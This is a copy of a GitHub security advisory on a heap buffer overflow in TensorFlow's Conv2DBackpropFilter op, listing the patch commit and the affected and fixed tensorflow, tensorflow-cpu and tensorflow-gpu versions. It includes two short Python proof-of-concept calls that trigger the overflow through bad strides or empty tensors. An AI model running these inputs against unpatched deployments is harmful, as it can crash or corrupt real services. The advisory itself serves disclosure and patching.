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GHSA-xgc3-m89p-vr3x

Опубликовано: 21 мая 2021
Источник: github
Github: Прошло ревью
CVSS4: 2
CVSS3: 2.5

Описание

Heap buffer overflow in Conv2DBackpropFilter

Impact

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

import tensorflow as tf input_tensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] )

Alternatively, passing empty tensors also results in similar behavior:

import tensorflow as tf input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32) filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] )

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Пакеты

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

EPSS

Процентиль: 15%
0.00049
Низкий

2 Low

CVSS4

2.5 Low

CVSS3

Дефекты

CWE-120
CWE-787

Связанные уязвимости

CVSS3: 2.5
nvd
больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

CVSS3: 2.5
debian
больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. ...

EPSS

Процентиль: 15%
0.00049
Низкий

2 Low

CVSS4

2.5 Low

CVSS3

Дефекты

CWE-120
CWE-787